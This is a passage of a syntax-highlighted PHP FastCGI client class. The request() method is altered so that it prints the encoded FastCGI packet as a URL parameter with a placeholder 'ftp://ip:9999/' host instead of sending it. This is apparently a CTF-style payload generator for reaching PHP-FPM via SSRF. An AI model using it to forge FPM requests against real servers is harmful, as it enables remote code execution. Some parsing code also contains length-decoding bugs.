</span></span><span class="line"><span class="ln">127</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$requestId</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span>        <span class="cm">/* requestIdB0 */</span>
</span></span><span class="line"><span class="ln">128</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$clen</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span> <span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span>     <span class="cm">/* contentLengthB1 */</span>
</span></span><span class="line"><span class="ln">129</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$clen</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span>             <span class="cm">/* contentLengthB0 */</span>
</span></span><span class="line"><span class="ln">130</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>                        <span class="cm">/* paddingLength */</span>
</span></span><span class="line"><span class="ln">131</span><span class="cl">            <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>                        <span class="cm">/* reserved */</span>
</span></span><span class="line"><span class="ln">132</span><span class="cl">            <span class="o">.</span> <span class="nv">$content</span><span class="p">;</span>                     <span class="cm">/* content */</span>
</span></span><span class="line"><span class="ln">133</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">134</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">135</span><span class="cl"><span class="sd">     * Build an FastCGI Name value pair
</span></span></span><span class="line"><span class="ln">136</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">137</span><span class="cl"><span class="sd">     * @param String $name Name
</span></span></span><span class="line"><span class="ln">138</span><span class="cl"><span class="sd">     * @param String $value Value
</span></span></span><span class="line"><span class="ln">139</span><span class="cl"><span class="sd">     * @return String FastCGI Name value pair
</span></span></span><span class="line"><span class="ln">140</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">141</span><span class="cl">    <span class="k">private</span> <span class="k">function</span> <span class="nf">buildNvpair</span><span class="p">(</span><span class="nv">$name</span><span class="p">,</span> <span class="nv">$value</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">142</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">143</span><span class="cl">        <span class="nv">$nlen</span> <span class="o">=</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$name</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">144</span><span class="cl">        <span class="nv">$vlen</span> <span class="o">=</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$value</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">145</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$nlen</span> <span class="o">&lt;</span> <span class="mi">128</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">146</span><span class="cl">            <span class="cm">/* nameLengthB0 */</span>
</span></span><span class="line"><span class="ln">147</span><span class="cl">            <span class="nv">$nvpair</span> <span class="o">=</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$nlen</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">148</span><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">149</span><span class="cl">            <span class="cm">/* nameLengthB3 &amp; nameLengthB2 &amp; nameLengthB1 &amp; nameLengthB0 */</span>
</span></span><span class="line"><span class="ln">150</span><span class="cl">            <span class="nv">$nvpair</span> <span class="o">=</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$nlen</span> <span class="o">&gt;&gt;</span> <span class="mi">24</span><span class="p">)</span> <span class="o">|</span> <span class="mh">0x80</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$nlen</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$nlen</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$nlen</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">151</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">152</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$vlen</span> <span class="o">&lt;</span> <span class="mi">128</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">153</span><span class="cl">            <span class="cm">/* valueLengthB0 */</span>
</span></span><span class="line"><span class="ln">154</span><span class="cl">            <span class="nv">$nvpair</span> <span class="o">.=</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$vlen</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">155</span><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">156</span><span class="cl">            <span class="cm">/* valueLengthB3 &amp; valueLengthB2 &amp; valueLengthB1 &amp; valueLengthB0 */</span>
</span></span><span class="line"><span class="ln">157</span><span class="cl">            <span class="nv">$nvpair</span> <span class="o">.=</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$vlen</span> <span class="o">&gt;&gt;</span> <span class="mi">24</span><span class="p">)</span> <span class="o">|</span> <span class="mh">0x80</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$vlen</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nv">$vlen</span> <span class="o">&gt;&gt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="nv">$vlen</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">158</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">159</span><span class="cl">        <span class="cm">/* nameData &amp; valueData */</span>
</span></span><span class="line"><span class="ln">160</span><span class="cl">        <span class="k">return</span> <span class="nv">$nvpair</span> <span class="o">.</span> <span class="nv">$name</span> <span class="o">.</span> <span class="nv">$value</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">161</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">162</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">163</span><span class="cl"><span class="sd">     * Read a set of FastCGI Name value pairs
</span></span></span><span class="line"><span class="ln">164</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">165</span><span class="cl"><span class="sd">     * @param String $data Data containing the set of FastCGI NVPair
</span></span></span><span class="line"><span class="ln">166</span><span class="cl"><span class="sd">     * @return array of NVPair
</span></span></span><span class="line"><span class="ln">167</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">168</span><span class="cl">    <span class="k">private</span> <span class="k">function</span> <span class="nf">readNvpair</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="nv">$length</span> <span class="o">=</span> <span class="k">null</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">169</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">170</span><span class="cl">        <span class="nv">$array</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">171</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$length</span> <span class="o">===</span> <span class="k">null</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">172</span><span class="cl">            <span class="nv">$length</span> <span class="o">=</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$data</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">173</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">174</span><span class="cl">        <span class="nv">$p</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">175</span><span class="cl">        <span class="k">while</span> <span class="p">(</span><span class="nv">$p</span> <span class="o">!=</span> <span class="nv">$length</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">176</span><span class="cl">            <span class="nv">$nlen</span> <span class="o">=</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">177</span><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nv">$nlen</span> <span class="o">&gt;=</span> <span class="mi">128</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">178</span><span class="cl">                <span class="nv">$nlen</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$nlen</span> <span class="o">&amp;</span> <span class="mh">0x7F</span> <span class="o">&lt;&lt;</span> <span class="mi">24</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">179</span><span class="cl">                <span class="nv">$nlen</span> <span class="o">|=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">})</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">180</span><span class="cl">                <span class="nv">$nlen</span> <span class="o">|=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">})</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">181</span><span class="cl">                <span class="nv">$nlen</span> <span class="o">|=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">}));</span>
</span></span><span class="line"><span class="ln">182</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">183</span><span class="cl">            <span class="nv">$vlen</span> <span class="o">=</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">184</span><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nv">$vlen</span> <span class="o">&gt;=</span> <span class="mi">128</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">185</span><span class="cl">                <span class="nv">$vlen</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$nlen</span> <span class="o">&amp;</span> <span class="mh">0x7F</span> <span class="o">&lt;&lt;</span> <span class="mi">24</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">186</span><span class="cl">                <span class="nv">$vlen</span> <span class="o">|=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">})</span> <span class="o">&lt;&lt;</span> <span class="mi">16</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">187</span><span class="cl">                <span class="nv">$vlen</span> <span class="o">|=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">})</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">188</span><span class="cl">                <span class="nv">$vlen</span> <span class="o">|=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="nv">$p</span><span class="o">++</span><span class="p">}));</span>
</span></span><span class="line"><span class="ln">189</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">190</span><span class="cl">            <span class="nv">$array</span><span class="p">[</span><span class="nx">substr</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="nv">$p</span><span class="p">,</span> <span class="nv">$nlen</span><span class="p">)]</span> <span class="o">=</span> <span class="nx">substr</span><span class="p">(</span><span class="nv">$data</span><span class="p">,</span> <span class="nv">$p</span><span class="o">+</span><span class="nv">$nlen</span><span class="p">,</span> <span class="nv">$vlen</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">191</span><span class="cl">            <span class="nv">$p</span> <span class="o">+=</span> <span class="p">(</span><span class="nv">$nlen</span> <span class="o">+</span> <span class="nv">$vlen</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">192</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">193</span><span class="cl">        <span class="k">return</span> <span class="nv">$array</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">194</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">195</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">196</span><span class="cl"><span class="sd">     * Decode a FastCGI Packet
</span></span></span><span class="line"><span class="ln">197</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">198</span><span class="cl"><span class="sd">     * @param String $data String containing all the packet
</span></span></span><span class="line"><span class="ln">199</span><span class="cl"><span class="sd">     * @return array
</span></span></span><span class="line"><span class="ln">200</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">201</span><span class="cl">    <span class="k">private</span> <span class="k">function</span> <span class="nf">decodePacketHeader</span><span class="p">(</span><span class="nv">$data</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">202</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">203</span><span class="cl">        <span class="nv">$ret</span> <span class="o">=</span> <span class="k">array</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">204</span><span class="cl">        <span class="nv">$ret</span><span class="p">[</span><span class="s1">&#39;version&#39;</span><span class="p">]</span>       <span class="o">=</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">0</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">205</span><span class="cl">        <span class="nv">$ret</span><span class="p">[</span><span class="s1">&#39;type&#39;</span><span class="p">]</span>          <span class="o">=</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">1</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">206</span><span class="cl">        <span class="nv">$ret</span><span class="p">[</span><span class="s1">&#39;requestId&#39;</span><span class="p">]</span>     <span class="o">=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">2</span><span class="p">})</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">3</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">207</span><span class="cl">        <span class="nv">$ret</span><span class="p">[</span><span class="s1">&#39;contentLength&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">4</span><span class="p">})</span> <span class="o">&lt;&lt;</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">5</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">208</span><span class="cl">        <span class="nv">$ret</span><span class="p">[</span><span class="s1">&#39;paddingLength&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">6</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">209</span><span class="cl">        <span class="nv">$ret</span><span class="p">[</span><span class="s1">&#39;reserved&#39;</span><span class="p">]</span>      <span class="o">=</span> <span class="nx">ord</span><span class="p">(</span><span class="nv">$data</span><span class="p">{</span><span class="mi">7</span><span class="p">});</span>
</span></span><span class="line"><span class="ln">210</span><span class="cl">        <span class="k">return</span> <span class="nv">$ret</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">211</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">212</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">213</span><span class="cl"><span class="sd">     * Read a FastCGI Packet
</span></span></span><span class="line"><span class="ln">214</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">215</span><span class="cl"><span class="sd">     * @return array
</span></span></span><span class="line"><span class="ln">216</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">217</span><span class="cl">    <span class="k">private</span> <span class="k">function</span> <span class="nf">readPacket</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">218</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">219</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$packet</span> <span class="o">=</span> <span class="nx">fread</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">,</span> <span class="nx">self</span><span class="o">::</span><span class="na">HEADER_LEN</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">220</span><span class="cl">            <span class="nv">$resp</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">decodePacketHeader</span><span class="p">(</span><span class="nv">$packet</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">221</span><span class="cl">            <span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">]</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">222</span><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;contentLength&#39;</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">223</span><span class="cl">                <span class="nv">$len</span>  <span class="o">=</span> <span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;contentLength&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">224</span><span class="cl">                <span class="k">while</span> <span class="p">(</span><span class="nv">$len</span> <span class="o">&amp;&amp;</span> <span class="nv">$buf</span><span class="o">=</span><span class="nx">fread</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">,</span> <span class="nv">$len</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">225</span><span class="cl">                    <span class="nv">$len</span> <span class="o">-=</span> <span class="nx">strlen</span><span class="p">(</span><span class="nv">$buf</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">226</span><span class="cl">                    <span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">]</span> <span class="o">.=</span> <span class="nv">$buf</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">227</span><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="ln">228</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">229</span><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;paddingLength&#39;</span><span class="p">])</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">230</span><span class="cl">                <span class="nv">$buf</span><span class="o">=</span><span class="nx">fread</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">,</span> <span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;paddingLength&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">231</span><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="ln">232</span><span class="cl">            <span class="k">return</span> <span class="nv">$resp</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">233</span><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">234</span><span class="cl">            <span class="k">return</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">235</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">236</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">237</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">238</span><span class="cl"><span class="sd">     * Get Informations on the FastCGI application
</span></span></span><span class="line"><span class="ln">239</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">240</span><span class="cl"><span class="sd">     * @param array $requestedInfo information to retrieve
</span></span></span><span class="line"><span class="ln">241</span><span class="cl"><span class="sd">     * @return array
</span></span></span><span class="line"><span class="ln">242</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">243</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">getValues</span><span class="p">(</span><span class="k">array</span> <span class="nv">$requestedInfo</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">244</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">245</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">connect</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">246</span><span class="cl">        <span class="nv">$request</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">247</span><span class="cl">        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$requestedInfo</span> <span class="k">as</span> <span class="nv">$info</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">248</span><span class="cl">            <span class="nv">$request</span> <span class="o">.=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildNvpair</span><span class="p">(</span><span class="nv">$info</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">249</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">250</span><span class="cl">        <span class="nx">fwrite</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_sock</span><span class="p">,</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildPacket</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">GET_VALUES</span><span class="p">,</span> <span class="nv">$request</span><span class="p">,</span> <span class="mi">0</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">251</span><span class="cl">        <span class="nv">$resp</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">readPacket</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">252</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;type&#39;</span><span class="p">]</span> <span class="o">==</span> <span class="nx">self</span><span class="o">::</span><span class="na">GET_VALUES_RESULT</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">253</span><span class="cl">            <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">readNvpair</span><span class="p">(</span><span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">],</span> <span class="nv">$resp</span><span class="p">[</span><span class="s1">&#39;length&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">254</span><span class="cl">        <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">255</span><span class="cl">            <span class="k">throw</span> <span class="k">new</span> <span class="nx">Exception</span><span class="p">(</span><span class="s1">&#39;Unexpected response type, expecting GET_VALUES_RESULT&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">256</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">257</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">258</span><span class="cl">    <span class="sd">/**
</span></span></span><span class="line"><span class="ln">259</span><span class="cl"><span class="sd">     * Execute a request to the FastCGI application
</span></span></span><span class="line"><span class="ln">260</span><span class="cl"><span class="sd">     *
</span></span></span><span class="line"><span class="ln">261</span><span class="cl"><span class="sd">     * @param array $params Array of parameters
</span></span></span><span class="line"><span class="ln">262</span><span class="cl"><span class="sd">     * @param String $stdin Content
</span></span></span><span class="line"><span class="ln">263</span><span class="cl"><span class="sd">     * @return String
</span></span></span><span class="line"><span class="ln">264</span><span class="cl"><span class="sd">     */</span>
</span></span><span class="line"><span class="ln">265</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">request</span><span class="p">(</span><span class="k">array</span> <span class="nv">$params</span><span class="p">,</span> <span class="nv">$stdin</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">266</span><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="ln">267</span><span class="cl">        <span class="nv">$response</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">268</span><span class="cl"><span class="c1">//        $this-&gt;connect();
</span></span></span><span class="line"><span class="ln">269</span><span class="cl">        <span class="nv">$request</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildPacket</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">BEGIN_REQUEST</span><span class="p">,</span> <span class="nx">chr</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">RESPONDER</span><span class="p">)</span> <span class="o">.</span> <span class="nx">chr</span><span class="p">((</span><span class="nx">int</span><span class="p">)</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">_keepAlive</span><span class="p">)</span> <span class="o">.</span> <span class="nx">str_repeat</span><span class="p">(</span><span class="nx">chr</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span> <span class="mi">5</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">270</span><span class="cl">        <span class="nv">$paramsRequest</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">271</span><span class="cl">        <span class="k">foreach</span> <span class="p">(</span><span class="nv">$params</span> <span class="k">as</span> <span class="nv">$key</span> <span class="o">=&gt;</span> <span class="nv">$value</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">272</span><span class="cl">            <span class="nv">$paramsRequest</span> <span class="o">.=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildNvpair</span><span class="p">(</span><span class="nv">$key</span><span class="p">,</span> <span class="nv">$value</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">273</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">274</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$paramsRequest</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">275</span><span class="cl">            <span class="nv">$request</span> <span class="o">.=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildPacket</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">PARAMS</span><span class="p">,</span> <span class="nv">$paramsRequest</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">276</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">277</span><span class="cl">        <span class="nv">$request</span> <span class="o">.=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildPacket</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">PARAMS</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">278</span><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nv">$stdin</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">279</span><span class="cl">            <span class="nv">$request</span> <span class="o">.=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildPacket</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">STDIN</span><span class="p">,</span> <span class="nv">$stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">280</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">281</span><span class="cl">        <span class="nv">$request</span> <span class="o">.=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">buildPacket</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="na">STDIN</span><span class="p">,</span> <span class="s1">&#39;&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">282</span><span class="cl">        <span class="k">echo</span><span class="p">(</span><span class="s1">&#39;?file=ftp://ip:9999/&amp;data=&#39;</span><span class="o">.</span><span class="nx">urlencode</span><span class="p">(</span><span class="nv">$request</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">283</span><span class="cl"><span class="c1">//        fwrite($this-&gt;_sock, $request);
</span></span></span><span class="line"><span class="ln">284</span><span class="cl"><span class="c1">//        do {
</span></span></span><span class="line"><span class="ln">285</span><span class="cl"><span class="c1">//            $resp = $this-&gt;readPacket();
</span></span></span><span class="line"><span class="ln">286</span><span class="cl"><span class="c1">//            if ($resp[&#39;type&#39;] == self::STDOUT || $resp[&#39;type&#39;] == self::STDERR) {
</span></span></span><span class="line"><span class="ln">287</span><span class="cl"><span class="c1">//                $response .= $resp[&#39;content&#39;];
</span></span></span><span class="line"><span class="ln">288</span><span class="cl"><span class="c1">//            }
